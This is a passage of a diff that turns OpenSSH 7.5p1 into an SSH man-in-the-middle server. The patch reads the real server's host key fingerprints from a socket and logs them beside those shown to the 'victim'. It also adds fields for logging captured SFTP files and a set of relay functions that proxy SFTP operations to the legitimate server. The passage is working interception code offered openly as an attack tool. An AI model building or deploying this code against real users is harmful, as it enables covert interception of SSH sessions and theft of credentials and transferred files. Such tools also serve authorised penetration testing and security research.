  1414. +    struct sshkey *k = NULL;
  1415. +    char *fp = NULL;
  1416. +
  1417. +    /* Read everything into buffer. */
  1418. +    while (1) {
  1419. +      r = read(client_fd, buffer + bytes_read, SOCKET_PASSWORD_AND_FINGERPRINT_BUFFER_SIZE - bytes_read);
  1420. +      if (r <= 0)
  1421. +   break;
  1422. +      bytes_read += r;
  1423. +    }
  1424. +
  1425. +    /* Tokenize the buffer by the newline character. */
  1426. +    while ((line = strsep(&buffer, "\n")) != NULL) {
  1427. +      line_len = strlen(line);
  1428. +      if (line_len > 4) {
  1429. +
  1430. +   /* We should only get one MD5 and one SHA256 fingerprint.  If we get
  1431. +    * more, log it. */
  1432. +   if ((c->legit_md5_fingerprint_len > 0) && (c->legit_sha256_fingerprint_len > 0))
  1433. +     logit("MITM: !! Somehow, both the MD5 and SHA256 fingerprints were already set, but we got another fingerprint line anyway!! Please contact the project maintainer about this! [%s]", line);
  1434. +
  1435. +   /* If this line begins with "MD5:", its an MD5 fingerprint.  Copy it
  1436. +    * into the "legit_md5_fingerprint" buffer. */
  1437. +   if (memcmp(line, "MD5:", 4) == 0) {
  1438. +     c->legit_md5_fingerprint = strdup(line + 4);
  1439. +     c->legit_md5_fingerprint_len = strlen(c->legit_md5_fingerprint);
  1440. +   /* If this is a SHA256 fingerprint, copy this as well. */
  1441. +   } else if (memcmp(line, "SHA256:", 7) == 0) {
  1442. +     c->legit_sha256_fingerprint = strdup(line + 7);
  1443. +     c->legit_sha256_fingerprint_len = strlen(c->legit_sha256_fingerprint);
  1444. +   } else
  1445. +     logit("MITM: unknown fingerprint!: [%s]", line);
  1446. +      }
  1447. +    }
  1448. +
  1449. +    c->extra_fp_bytes = calloc(EXTRA_FP_BYTES_SIZE, sizeof(char));
  1450. +    k = ssh_active_state->kex->load_host_public_key(active_state->kex->hostkey_type, ssh_active_state->kex->hostkey_nid, ssh_active_state);
  1451. +
  1452. +    /* Set the host key fingerprints our sshd is using with the victim. */
  1453. +    if (c->legit_md5_fingerprint_len > 0) {
  1454. +      fp = sshkey_fingerprint(k, SSH_DIGEST_MD5, SSH_FP_DEFAULT);
  1455. +      c->our_md5_fingerprint = strdup(fp + 4);  // Cut off the "MD5:" prefix.
  1456. +      c->our_md5_fingerprint_len = strlen(c->our_md5_fingerprint);
  1457. +      free(fp); fp = NULL;
  1458. +
  1459. +      debug("MITM: MD5 fingerprint received from legit server: [%s]", c->legit_md5_fingerprint);
  1460. +      debug("MITM: MD5 fingerprint seen by victim: [%s]", c->our_md5_fingerprint);
  1461. +    }
  1462. +
  1463. +    if (c->legit_sha256_fingerprint_len > 0) {
  1464. +      fp = sshkey_fingerprint(k, SSH_DIGEST_SHA256, SSH_FP_DEFAULT);
  1465. +      c->our_sha256_fingerprint = strdup(fp + 7); // Cut off the "SHA256:" prefix.
  1466. +      c->our_sha256_fingerprint_len = strlen(c->our_sha256_fingerprint);
  1467. +      free(fp); fp = NULL;
  1468. +      debug("MITM: SHA256 fingerprint received from legit server: [%s]", c->legit_sha256_fingerprint);
  1469. +      debug("MITM: SHA256 fingerprint seen by victim: [%s]", c->our_sha256_fingerprint);
  1470. +    }
  1471. +
  1472. +    /* Free the buffer we read data from the socket into. */
  1473. +    free(saved_buffer); saved_buffer = NULL; buffer = NULL;
  1474. +  }
  1475. +
  1476. +  /* We are done with this socket, so shut it down, delete the file, and
  1477. +  * free the filename. */
  1478. +  shutdown(client_fd, SHUT_RDWR);
  1479. +  close(sock_fd);
  1480. +  unlink(*password_and_fingerprint_socket_name);
  1481. +  free(*password_and_fingerprint_socket_name); *password_and_fingerprint_socket_name = NULL;
  1482. +}
  1483. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/session.h openssh-7.5p1-mitm/session.h
  1484. --- openssh-7.5p1/session.h 2017-03-19 22:39:27.000000000 -0400
  1485. +++ openssh-7.5p1-mitm/session.h    2018-06-12 17:44:46.345760658 -0400
  1486. @@ -60,6 +60,10 @@
  1487.         char    *name;
  1488.         char    *val;
  1489.     } *env;
  1490. +   int     is_sftp;          /* Set to 1 if this is an SFTP session. */
  1491. +   char    *session_log_dir; /* The directory to store SFTP files in. */
  1492. +   char    *session_log_filepath; /* The file path of the session log. */
  1493. +   int     session_log_fd;   /* A descriptor to this session's log file. */
  1494.  };
  1495.  
  1496.  void    do_authenticated(Authctxt *);
  1497. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp.c openssh-7.5p1-mitm/sftp.c
  1498. --- openssh-7.5p1/sftp.c    2017-03-19 22:39:27.000000000 -0400
  1499. +++ openssh-7.5p1-mitm/sftp.c   2018-06-12 17:44:46.345760658 -0400
  1500. @@ -579,9 +579,10 @@
  1501.  remote_is_dir(struct sftp_conn *conn, const char *path)
  1502.  {
  1503.     Attrib *a;
  1504. +   u_int status;
  1505.  
  1506.     /* XXX: report errors? */
  1507. -   if ((a = do_stat(conn, path, 1)) == NULL)
  1508. +   if ((a = do_stat(conn, path, 1, &status)) == NULL)
  1509.         return(0);
  1510.     if (!(a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS))
  1511.         return(0);
  1512. @@ -1431,6 +1432,7 @@
  1513.     char path_buf[PATH_MAX];
  1514.     int err = 0;
  1515.     glob_t g;
  1516. +   u_int status;
  1517.  
  1518.     path1 = path2 = NULL;
  1519.     cmdnum = parse_args(&cmd, &ignore_errors, &aflag, &fflag, &hflag,
  1520. @@ -1500,11 +1502,12 @@
  1521.         break;
  1522.     case I_CHDIR:
  1523.         path1 = make_absolute(path1, *pwd);
  1524. -       if ((tmp = do_realpath(conn, path1)) == NULL) {
  1525. +       if ((tmp = do_realpath(conn, path1, &status)) == NULL) {
  1526.             err = 1;
  1527.             break;
  1528.         }
  1529. -       if ((aa = do_stat(conn, tmp, 0)) == NULL) {
  1530. +       u_int status;
  1531. +       if ((aa = do_stat(conn, tmp, 0, &status)) == NULL) {
  1532.             free(tmp);
  1533.             err = 1;
  1534.             break;
  1535. @@ -1593,7 +1596,8 @@
  1536.         path1 = make_absolute(path1, *pwd);
  1537.         remote_glob(conn, path1, GLOB_NOCHECK, NULL, &g);
  1538.         for (i = 0; g.gl_pathv[i] && !interrupted; i++) {
  1539. -           if (!(aa = do_stat(conn, g.gl_pathv[i], 0))) {
  1540. +           u_int status;
  1541. +           if (!(aa = do_stat(conn, g.gl_pathv[i], 0, &status))) {
  1542.                 if (err_abort) {
  1543.                     err = -1;
  1544.                     break;
  1545. @@ -2041,6 +2045,7 @@
  1546.     char cmd[2048];
  1547.     int err, interactive;
  1548.     EditLine *el = NULL;
  1549. +   u_int status;
  1550.  #ifdef USE_LIBEDIT
  1551.     History *hl = NULL;
  1552.     HistEvent hev;
  1553. @@ -2078,7 +2083,7 @@
  1554.     }
  1555.  #endif /* USE_LIBEDIT */
  1556.  
  1557. -   remote_path = do_realpath(conn, ".");
  1558. +   remote_path = do_realpath(conn, ".", &status);
  1559.     if (remote_path == NULL)
  1560.         fatal("Need cwd");
  1561.  
  1562. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-client.c openssh-7.5p1-mitm/sftp-client.c
  1563. --- openssh-7.5p1/sftp-client.c 2017-03-19 22:39:27.000000000 -0400
  1564. +++ openssh-7.5p1-mitm/sftp-client.c    2018-06-12 17:44:46.345760658 -0400
  1565. @@ -74,6 +74,7 @@
  1566.  # define SFTP_DIRECTORY_CHARS      "/"
  1567.  #endif /* HAVE_CYGWIN */
  1568.  
  1569. +/*
  1570.  struct sftp_conn {
  1571.     int fd_in;
  1572.     int fd_out;
  1573. @@ -90,10 +91,13 @@
  1574.     u_int64_t limit_kbps;
  1575.     struct bwlimit bwlimit_in, bwlimit_out;
  1576.  };
  1577. +*/
  1578. +struct sftp_conn *client_conn = NULL;
  1579. +
  1580.  
  1581.  static u_char *
  1582. -get_handle(struct sftp_conn *conn, u_int expected_id, size_t *len,
  1583. -    const char *errfmt, ...) __attribute__((format(printf, 4, 5)));
  1584. +get_handle(struct sftp_conn *conn, u_int expected_id, u_int *status, size_t *len,
  1585. +    const char *errfmt, ...) __attribute__((format(printf, 5, 6)));
  1586.  
  1587.  /* ARGSUSED */
  1588.  static int
  1589. @@ -231,11 +235,11 @@
  1590.  }
  1591.  
  1592.  static u_char *
  1593. -get_handle(struct sftp_conn *conn, u_int expected_id, size_t *len,
  1594. +get_handle(struct sftp_conn *conn, u_int expected_id, u_int *status, size_t *len,
  1595.      const char *errfmt, ...)
  1596.  {
  1597.     struct sshbuf *msg;
  1598. -   u_int id, status;
  1599. +   u_int id;
  1600.     u_char type;
  1601.     u_char *handle;
  1602.     char errmsg[256];
  1603. @@ -258,10 +262,10 @@
  1604.         fatal("%s: ID mismatch (%u != %u)",
  1605.             errfmt == NULL ? __func__ : errmsg, id, expected_id);
  1606.     if (type == SSH2_FXP_STATUS) {
  1607. -       if ((r = sshbuf_get_u32(msg, &status)) != 0)
  1608. +       if ((r = sshbuf_get_u32(msg, status)) != 0)
  1609.             fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1610.         if (errfmt != NULL)
  1611. -           error("%s: %s", errmsg, fx2txt(status));
  1612. +           error("%s: %s", errmsg, fx2txt(*status));
  1613.         sshbuf_free(msg);
  1614.         return(NULL);
  1615.     } else if (type != SSH2_FXP_HANDLE)
  1616. @@ -276,7 +280,7 @@
  1617.  }
  1618.  
  1619.  static Attrib *
  1620. -get_decode_stat(struct sftp_conn *conn, u_int expected_id, int quiet)
  1621. +get_decode_stat(struct sftp_conn *conn, u_int expected_id, int quiet, u_int *status)
  1622.  {
  1623.     struct sshbuf *msg;
  1624.     u_int id;
  1625. @@ -296,14 +300,13 @@
  1626.     if (id != expected_id)
  1627.         fatal("ID mismatch (%u != %u)", id, expected_id);
  1628.     if (type == SSH2_FXP_STATUS) {
  1629. -       u_int status;
  1630.  
  1631. -       if ((r = sshbuf_get_u32(msg, &status)) != 0)
  1632. +       if ((r = sshbuf_get_u32(msg, status)) != 0)
  1633.             fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1634.         if (quiet)
  1635. -           debug("Couldn't stat remote file: %s", fx2txt(status));
  1636. +           debug("Couldn't stat remote file: %s", fx2txt(*status));
  1637.         else
  1638. -           error("Couldn't stat remote file: %s", fx2txt(status));
  1639. +           error("Couldn't stat remote file: %s", fx2txt(*status));
  1640.         sshbuf_free(msg);
  1641.         return(NULL);
  1642.     } else if (type != SSH2_FXP_ATTRS) {
  1643. @@ -322,7 +325,7 @@
  1644.  
  1645.  static int
  1646.  get_decode_statvfs(struct sftp_conn *conn, struct sftp_statvfs *st,
  1647. -    u_int expected_id, int quiet)
  1648. +    u_int expected_id, int quiet, u_int *status)
  1649.  {
  1650.     struct sshbuf *msg;
  1651.     u_char type;
  1652. @@ -342,14 +345,12 @@
  1653.     if (id != expected_id)
  1654.         fatal("ID mismatch (%u != %u)", id, expected_id);
  1655.     if (type == SSH2_FXP_STATUS) {
  1656. -       u_int status;
  1657. -
  1658. -       if ((r = sshbuf_get_u32(msg, &status)) != 0)
  1659. +       if ((r = sshbuf_get_u32(msg, status)) != 0)
  1660.             fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1661.         if (quiet)
  1662. -           debug("Couldn't statvfs: %s", fx2txt(status));
  1663. +           debug("Couldn't statvfs: %s", fx2txt(*status));
  1664.         else
  1665. -           error("Couldn't statvfs: %s", fx2txt(status));
  1666. +           error("Couldn't statvfs: %s", fx2txt(*status));
  1667.         sshbuf_free(msg);
  1668.         return -1;
  1669.     } else if (type != SSH2_FXP_EXTENDED_REPLY) {
  1670. @@ -523,7 +524,7 @@
  1671.     u_int count, id, i, expected_id, ents = 0;
  1672.     size_t handle_len;
  1673.     u_char type, *handle;
  1674. -   int status = SSH2_FX_FAILURE;
  1675. +   int status = SSH2_FX_FAILURE, status_ret;
  1676.     int r;
  1677.  
  1678.     if (dir)
  1679. @@ -539,7 +540,7 @@
  1680.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1681.     send_msg(conn, msg);
  1682.  
  1683. -   handle = get_handle(conn, id, &handle_len,
  1684. +   handle = get_handle(conn, id, &status_ret, &handle_len,
  1685.         "remote readdir(\"%s\")", path);
  1686.     if (handle == NULL) {
  1687.         sshbuf_free(msg);
  1688. @@ -730,7 +731,7 @@
  1689.  }
  1690.  
  1691.  Attrib *
  1692. -do_stat(struct sftp_conn *conn, const char *path, int quiet)
  1693. +do_stat(struct sftp_conn *conn, const char *path, int quiet, u_int *status)
  1694.  {
  1695.     u_int id;
  1696.  
  1697. @@ -740,11 +741,11 @@
  1698.         conn->version == 0 ? SSH2_FXP_STAT_VERSION_0 : SSH2_FXP_STAT,
  1699.         path, strlen(path));
  1700.  
  1701. -   return(get_decode_stat(conn, id, quiet));
  1702. +   return(get_decode_stat(conn, id, quiet, status));
  1703.  }
  1704.  
  1705.  Attrib *
  1706. -do_lstat(struct sftp_conn *conn, const char *path, int quiet)
  1707. +do_lstat(struct sftp_conn *conn, const char *path, int quiet, u_int *status)
  1708.  {
  1709.     u_int id;
  1710.  
  1711. @@ -753,20 +754,20 @@
  1712.             debug("Server version does not support lstat operation");
  1713.         else
  1714.             logit("Server version does not support lstat operation");
  1715. -       return(do_stat(conn, path, quiet));
  1716. +       return(do_stat(conn, path, quiet, status));
  1717.     }
  1718.  
  1719.     id = conn->msg_id++;
  1720.     send_string_request(conn, id, SSH2_FXP_LSTAT, path,
  1721.         strlen(path));
  1722.  
  1723. -   return(get_decode_stat(conn, id, quiet));
  1724. +   return(get_decode_stat(conn, id, quiet, status));
  1725.  }
  1726.  
  1727.  #ifdef notyet
  1728.  Attrib *
  1729.  do_fstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len,
  1730. -    int quiet)
  1731. +    int quiet, u_int *status)
  1732.  {
  1733.     u_int id;
  1734.  
  1735. @@ -774,7 +775,7 @@
  1736.     send_string_request(conn, id, SSH2_FXP_FSTAT, handle,
  1737.         handle_len);
  1738.  
  1739. -   return(get_decode_stat(conn, id, quiet));
  1740. +   return(get_decode_stat(conn, id, quiet, status));
  1741.  }
  1742.  #endif
  1743.  
  1744. @@ -813,7 +814,7 @@
  1745.  }
  1746.  
  1747.  char *
  1748. -do_realpath(struct sftp_conn *conn, const char *path)
  1749. +do_realpath(struct sftp_conn *conn, const char *path, u_int *status)
  1750.  {
  1751.     struct sshbuf *msg;
  1752.     u_int expected_id, count, id;
  1753. @@ -838,11 +839,9 @@
  1754.         fatal("ID mismatch (%u != %u)", id, expected_id);
  1755.  
  1756.     if (type == SSH2_FXP_STATUS) {
  1757. -       u_int status;
  1758. -
  1759. -       if ((r = sshbuf_get_u32(msg, &status)) != 0)
  1760. +       if ((r = sshbuf_get_u32(msg, status)) != 0)
  1761.             fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1762. -       error("Couldn't canonicalize: %s", fx2txt(status));
  1763. +       error("Couldn't canonicalize: %s", fx2txt(*status));
  1764.         sshbuf_free(msg);
  1765.         return NULL;
  1766.     } else if (type != SSH2_FXP_NAME)
  1767. @@ -865,7 +864,7 @@
  1768.     free(longname);
  1769.  
  1770.     sshbuf_free(msg);
  1771. -
  1772. +   *status = SSH2_FX_OK;
  1773.     return(filename);
  1774.  }
  1775.  
  1776. @@ -1076,6 +1075,7 @@
  1777.     struct sshbuf *msg;
  1778.     u_int id;
  1779.     int r;
  1780. +   u_int status;
  1781.  
  1782.     if ((conn->exts & SFTP_EXT_STATVFS) == 0) {
  1783.         error("Server does not support statvfs@openssh.com extension");
  1784. @@ -1095,7 +1095,7 @@
  1785.     send_msg(conn, msg);
  1786.     sshbuf_free(msg);
  1787.  
  1788. -   return get_decode_statvfs(conn, st, id, quiet);
  1789. +   return get_decode_statvfs(conn, st, id, quiet, &status);
  1790.  }
  1791.  
  1792.  #ifdef notyet
  1793. @@ -1105,6 +1105,7 @@
  1794.  {
  1795.     struct sshbuf *msg;
  1796.     u_int id;
  1797. +   u_int status;
  1798.  
  1799.     if ((conn->exts & SFTP_EXT_FSTATVFS) == 0) {
  1800.         error("Server does not support fstatvfs@openssh.com extension");
  1801. @@ -1124,7 +1125,7 @@
  1802.     send_msg(conn, msg);
  1803.     sshbuf_free(msg);
  1804.  
  1805. -   return get_decode_statvfs(conn, st, id, quiet);
  1806. +   return get_decode_statvfs(conn, st, id, quiet, &status);
  1807.  }
  1808.  #endif
  1809.  
  1810. @@ -1172,10 +1173,11 @@
  1811.     TAILQ_HEAD(reqhead, request) requests;
  1812.     struct request *req;
  1813.     u_char type;
  1814. +   u_int status_ret;
  1815.  
  1816.     TAILQ_INIT(&requests);
  1817.  
  1818. -   if (a == NULL && (a = do_stat(conn, remote_path, 0)) == NULL)
  1819. +   if (a == NULL && (a = do_stat(conn, remote_path, 0, &status_ret)) == NULL)
  1820.         return -1;
  1821.  
  1822.     /* Do not preserve set[ug]id here, as we do not preserve ownership */
  1823. @@ -1212,7 +1214,7 @@
  1824.     send_msg(conn, msg);
  1825.     debug3("Sent message SSH2_FXP_OPEN I:%u P:%s", id, remote_path);
  1826.  
  1827. -   handle = get_handle(conn, id, &handle_len,
  1828. +   handle = get_handle(conn, id, &status_ret, &handle_len,
  1829.         "remote open(\"%s\")", remote_path);
  1830.     if (handle == NULL) {
  1831.         sshbuf_free(msg);
  1832. @@ -1453,6 +1455,7 @@
  1833.     SFTP_DIRENT **dir_entries;
  1834.     char *filename, *new_src, *new_dst;
  1835.     mode_t mode = 0777;
  1836. +   u_int status_ret;
  1837.  
  1838.     if (depth >= MAX_DIR_DEPTH) {
  1839.         error("Maximum directory depth exceeded: %d levels", depth);
  1840. @@ -1460,7 +1463,7 @@
  1841.     }
  1842.  
  1843.     if (dirattrib == NULL &&
  1844. -       (dirattrib = do_stat(conn, src, 1)) == NULL) {
  1845. +       (dirattrib = do_stat(conn, src, 1, &status_ret)) == NULL) {
  1846.         error("Unable to stat remote directory \"%s\"", src);
  1847.         return -1;
  1848.     }
  1849. @@ -1543,8 +1546,9 @@
  1850.  {
  1851.     char *src_canon;
  1852.     int ret;
  1853. +   u_int status;
  1854.  
  1855. -   if ((src_canon = do_realpath(conn, src)) == NULL) {
  1856. +   if ((src_canon = do_realpath(conn, src, &status)) == NULL) {
  1857.         error("Unable to canonicalize path \"%s\"", src);
  1858.         return -1;
  1859.     }
  1860. @@ -1579,6 +1583,7 @@
  1861.     TAILQ_HEAD(ackhead, outstanding_ack) acks;
  1862.     struct outstanding_ack *ack = NULL;
  1863.     size_t handle_len;
  1864. +   int status_ret;
  1865.  
  1866.     TAILQ_INIT(&acks);
  1867.  
  1868. @@ -1607,8 +1612,9 @@
  1869.         a.flags &= ~SSH2_FILEXFER_ATTR_ACMODTIME;
  1870.  
  1871.     if (resume) {
  1872. +     u_int status_ret2;
  1873.         /* Get remote file size if it exists */
  1874. -       if ((c = do_stat(conn, remote_path, 0)) == NULL) {
  1875. +       if ((c = do_stat(conn, remote_path, 0, &status_ret2)) == NULL) {
  1876.             close(local_fd);
  1877.             return -1;
  1878.         }
  1879. @@ -1643,7 +1649,7 @@
  1880.  
  1881.     sshbuf_reset(msg);
  1882.  
  1883. -   handle = get_handle(conn, id, &handle_len,
  1884. +   handle = get_handle(conn, id, &status_ret, &handle_len,
  1885.         "remote open(\"%s\")", remote_path);
  1886.     if (handle == NULL) {
  1887.         close(local_fd);
  1888. @@ -1818,7 +1824,8 @@
  1889.      * the path already existed and is a directory.
  1890.      */
  1891.     if (do_mkdir(conn, dst, &a, 0) != 0) {
  1892. -       if ((dirattrib = do_stat(conn, dst, 0)) == NULL)
  1893. +       u_int status_ret;
  1894. +       if ((dirattrib = do_stat(conn, dst, 0, &status_ret)) == NULL)
  1895.             return -1;
  1896.         if (!S_ISDIR(dirattrib->perm)) {
  1897.             error("\"%s\" exists but is not a directory", dst);
  1898. @@ -1876,8 +1883,9 @@
  1899.  {
  1900.     char *dst_canon;
  1901.     int ret;
  1902. +   u_int status;
  1903.  
  1904. -   if ((dst_canon = do_realpath(conn, dst)) == NULL) {
  1905. +   if ((dst_canon = do_realpath(conn, dst, &status)) == NULL) {
  1906.         error("Unable to canonicalize path \"%s\"", dst);
  1907.         return -1;
  1908.     }
  1909. @@ -1904,3 +1912,534 @@
  1910.     return(ret);
  1911.  }
  1912.  
  1913. +/* Returns the directory handle, which must be free()'ed by the caller. */
  1914. +u_char *
  1915. +mitm_do_opendir(struct sftp_conn *conn, const char *path, size_t *handle_len, int *status)
  1916. +{
  1917. +   struct sshbuf *msg;
  1918. +   u_int id;
  1919. +   u_char *handle;
  1920. +   int r;
  1921. +
  1922. +   id = conn->msg_id++;
  1923. +
  1924. +   if ((msg = sshbuf_new()) == NULL)
  1925. +       fatal("%s: sshbuf_new failed", __func__);
  1926. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_OPENDIR)) != 0 ||
  1927. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  1928. +       (r = sshbuf_put_cstring(msg, path)) != 0)
  1929. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1930. +   send_msg(conn, msg);
  1931. +
  1932. +   handle = get_handle(conn, id, status, handle_len,
  1933. +       "remote opendir(\"%s\")", path);
  1934. +   sshbuf_free(msg); msg = NULL;
  1935. +   return handle;
  1936. +}
  1937. +
  1938. +Stat *
  1939. +mitm_do_readdir(struct sftp_conn *conn, u_int32_t id, u_char *handle_str, size_t handle_len, u_int *count, int *status) {
  1940. +   struct sshbuf *msg;
  1941. +   Stat *ret;
  1942. +   int r;
  1943. +   u_char type;
  1944. +   u_int i;
  1945. +
  1946. +   if ((msg = sshbuf_new()) == NULL)
  1947. +       fatal("%s: sshbuf_new failed", __func__);
  1948. +
  1949. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_READDIR)) != 0 ||
  1950. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  1951. +       (r = sshbuf_put_string(msg, handle_str, handle_len)) != 0)
  1952. +     fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1953. +
  1954. +   send_msg(conn, msg);
  1955. +   sshbuf_reset(msg);
  1956. +   get_msg(conn, msg);
  1957. +   if ((r = sshbuf_get_u8(msg, &type)) != 0 ||
  1958. +       (r = sshbuf_get_u32(msg, &id)) != 0)
  1959. +     fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1960. +
  1961. +   debug3("Received reply T:%u I:%u", type, id);
  1962. +  
  1963. +   if (type == SSH2_FXP_STATUS) {
  1964. +     u_int rstatus;
  1965. +    
  1966. +     if ((r = sshbuf_get_u32(msg, &rstatus)) != 0)
  1967. +       fatal("%s: buffer error: %s",
  1968. +         __func__, ssh_err(r));
  1969. +     debug3("Received SSH2_FXP_STATUS %d", rstatus);
  1970. +
  1971. +     sshbuf_free(msg); msg = NULL;
  1972. +     *status = rstatus;
  1973. +     return NULL;
  1974. +   } else if (type != SSH2_FXP_NAME)
  1975. +     fatal("Expected SSH2_FXP_NAME(%u) packet, got %u",
  1976. +       SSH2_FXP_NAME, type);
  1977. +
  1978. +   if ((r = sshbuf_get_u32(msg, count)) != 0)
  1979. +     fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1980. +   if (*count > SSHBUF_SIZE_MAX)
  1981. +     fatal("%s: nonsensical number of entries", __func__);
  1982. +   if (*count == 0) {
  1983. +     sshbuf_free(msg); msg = NULL;
  1984. +     *status = SSH2_FX_EOF;
  1985. +     return NULL;
  1986. +   }
  1987. +
  1988. +   debug3("Received %d SSH2_FXP_NAME responses", *count);
  1989. +
  1990. +   ret = xcalloc(*count, sizeof(Stat));
  1991. +
  1992. +   for (i = 0; i < *count; i++) {
  1993. +     char *name, *long_name;
  1994. +     Attrib a;
  1995. +
  1996. +     if ((r = sshbuf_get_cstring(msg, &name, NULL)) != 0 ||
  1997. +         (r = sshbuf_get_cstring(msg, &long_name, NULL)) != 0)
  1998. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  1999. +     if ((r = decode_attrib(msg, &a)) != 0) {
  2000. +       free(name); name = NULL;
  2001. +       free(long_name); long_name = NULL;
  2002. +       sshbuf_free(msg); msg = NULL;
  2003. +       *status = SSH2_FX_FAILURE;
  2004. +       return NULL;
  2005. +     }
  2006. +     ret[i].name = name;
  2007. +     ret[i].long_name = long_name;
  2008. +     ret[i].attrib = a;
  2009. +   }
  2010. +
  2011. +   sshbuf_free(msg); msg = NULL;
  2012. +   return ret;
  2013. +}
  2014. +
  2015. +u_int
  2016. +mitm_do_close(struct sftp_conn *conn, const u_char *handle, u_int handle_len)
  2017. +{
  2018. +   u_int id;
  2019. +   struct sshbuf *msg;
  2020. +   int r;
  2021. +
  2022. +   if ((msg = sshbuf_new()) == NULL)
  2023. +       fatal("%s: sshbuf_new failed", __func__);
  2024. +
  2025. +   id = conn->msg_id++;
  2026. +   if ((r = sshbuf_put_u8(msg, SSH2_FXP_CLOSE)) != 0 ||
  2027. +       (r = sshbuf_put_u32(msg, id)) != 0 ||
  2028. +       (r = sshbuf_put_string(msg, handle, handle_len)) != 0)
  2029. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2030. +   send_msg(conn, msg);
  2031. +   sshbuf_free(msg); msg = NULL;
  2032. +
  2033. +   debug3("Sent message SSH2_FXP_CLOSE I:%u", id);
  2034. +   return get_status(conn, id);
  2035. +}
  2036. +
  2037. +u_int
  2038. +mitm_do_mkdir(struct sftp_conn *conn, const char *path, Attrib *a)
  2039. +{
  2040. +   u_int id;
  2041. +
  2042. +   id = conn->msg_id++;
  2043. +   send_string_attrs_request(conn, id, SSH2_FXP_MKDIR, path, strlen(path), a);
  2044. +   return get_status(conn, id);
  2045. +}
  2046. +
  2047. +u_int
  2048. +mitm_do_rmdir(struct sftp_conn *conn, const char *path)
  2049. +{
  2050. +   u_int id;
  2051. +
  2052. +   id = conn->msg_id++;
  2053. +   send_string_request(conn, id, SSH2_FXP_RMDIR, path, strlen(path));
  2054. +   return get_status(conn, id);
  2055. +}
  2056. +
  2057. +u_int
  2058. +mitm_do_rm(struct sftp_conn *conn, const char *path)
  2059. +{
  2060. +   u_int id;
  2061. +
  2062. +   id = conn->msg_id++;
  2063. +   send_string_request(conn, id, SSH2_FXP_REMOVE, path, strlen(path));
  2064. +   return get_status(conn, id);
  2065. +}
  2066. +
  2067. +u_int
  2068. +mitm_do_rename(struct sftp_conn *conn, const char *oldpath, const char *newpath, int force_legacy)
  2069. +{
  2070. +   struct sshbuf *msg;
  2071. +   u_int id;
  2072. +   int r, use_ext = (conn->exts & SFTP_EXT_POSIX_RENAME) && !force_legacy;
  2073. +
  2074. +   if ((msg = sshbuf_new()) == NULL)
  2075. +       fatal("%s: sshbuf_new failed", __func__);
  2076. +
  2077. +   /* Send rename request */
  2078. +   id = conn->msg_id++;
  2079. +   if (use_ext) {
  2080. +       if ((r = sshbuf_put_u8(msg, SSH2_FXP_EXTENDED)) != 0 ||
  2081. +           (r = sshbuf_put_u32(msg, id)) != 0 ||
  2082. +           (r = sshbuf_put_cstring(msg,
  2083. +           "posix-rename@openssh.com")) != 0)
  2084. +           fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2085. +   } else {
  2086. +       if ((r = sshbuf_put_u8(msg, SSH2_FXP_RENAME)) != 0 ||
  2087. +           (r = sshbuf_put_u32(msg, id)) != 0)
  2088. +           fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2089. +   }
  2090. +   if ((r = sshbuf_put_cstring(msg, oldpath)) != 0 ||
  2091. +       (r = sshbuf_put_cstring(msg, newpath)) != 0)
  2092. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  2093. +   send_msg(conn, msg);
  2094. +   debug3("Sent message %s \"%s\" -> \"%s\"",
  2095. +       use_ext ? "posix-rename@openssh.com" :
  2096. +       "SSH2_FXP_RENAME", oldpath, newpath);
  2097. +   sshbuf_free(msg); msg = NULL;
  2098. +
  2099. +   return get_status(conn, id);
  2100. +}
  2101. +
  2102. +u_int
  2103. +mitm_do_setstat(struct sftp_conn *conn, const char *path, Attrib *a)
  2104. +{
  2105. +   u_int id = conn->msg_id++;
  2106. +   send_string_attrs_request(conn, id, SSH2_FXP_SETSTAT, path, strlen(path), a);
  2107. +   return get_status(conn, id);
  2108. +}
  2109. +
  2110. +u_int
  2111. +mitm_do_fsetstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, Attrib *a)
  2112. +{
  2113. +   u_int id = conn->msg_id++;
  2114. +   send_string_attrs_request(conn, id, SSH2_FXP_FSETSTAT, handle, handle_len, a);
  2115. +   return get_status(conn, id);
  2116. +}
  2117. +
  2118. +Attrib *
  2119. +mitm_do_fstat(struct sftp_conn *conn, const u_char *handle, u_int handle_len, int quiet, u_int *status)
  2120. +{
  2121. +   u_int id = conn->msg_id++;
  2122. +   send_string_request(conn, id, SSH2_FXP_FSTAT, handle, handle_len);
  2123. +   return(get_decode_stat(conn, id, quiet, status));
  2124. +}
  2125. +
  2126. +/* Returns 1 on success, with "filename", "longname", and "a" args set to the values obtained, or 0 on failure, with "status" arg set. */
  2127. +int
  2128. +mitm_do_readlink(struct sftp_conn *conn, const char *path, u_int *status, char **filename, char **longname, Attrib *a)
  2129. +{
  2130. +   struct sshbuf *msg;
  2131. +   u_int expected_id, count, id;
  2132. +   u_char type;
  2133. +   int r;
  2134. +
  2135. +   expected_id = id = conn->msg_id++;
